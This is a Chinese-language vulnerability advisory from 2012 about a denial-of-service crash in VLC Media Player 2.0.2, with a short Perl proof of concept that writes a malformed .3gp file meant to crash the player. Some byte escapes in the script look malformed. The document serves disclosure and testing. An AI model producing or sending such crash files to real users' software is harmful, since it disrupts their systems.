发布日期：2012-08-02
更新日期：2012-08-06
受影响系统：
VideoLAN VLC Media Player 2.0.2
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 54791
VLC Media Player是多媒体播放器（最初命名为VideoLAN客户端）是VideoLAN计划的多媒体播放器。
VLC Media Player 2.0.2及其他版本在实现上存在拒绝服务漏洞，成功利用可允许攻击者造成受影响应用崩溃。
<*来源：Dark-Puzzle
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Dark-Puzzle （）提供了如下测试方法：
#!/usr/bin/perl
my $a ="\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
my $b ="\x00\x00\x00\xnn\x66\x74\x79\x70\x33\x67\x70";
my $c ="\x62\x6\x74\x77\x65\x65\x6e\x20\x74\x68\x65\x20\x68\x65\x61\x64\x65\x72\x20\x61\x6e\x64\x20\x74\x68\x65\x20\x66\x6f\x6f\x74\x65\x72\x20\x74\x68\x65\x72\x65\x27\x73\x20\x64\x61\x72\x6b\x2d\x70\x75\x7a\x7a\x6c\x65";
my $d ="\x33\x67\x70";
my $file = "darkpuzzle.3gp";
open ($File, ">$file");
print $File $a,$b,$c,$d;
close ($File);
建议：
--------------------------------------------------------------------------------
厂商补丁：
VideoLAN
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：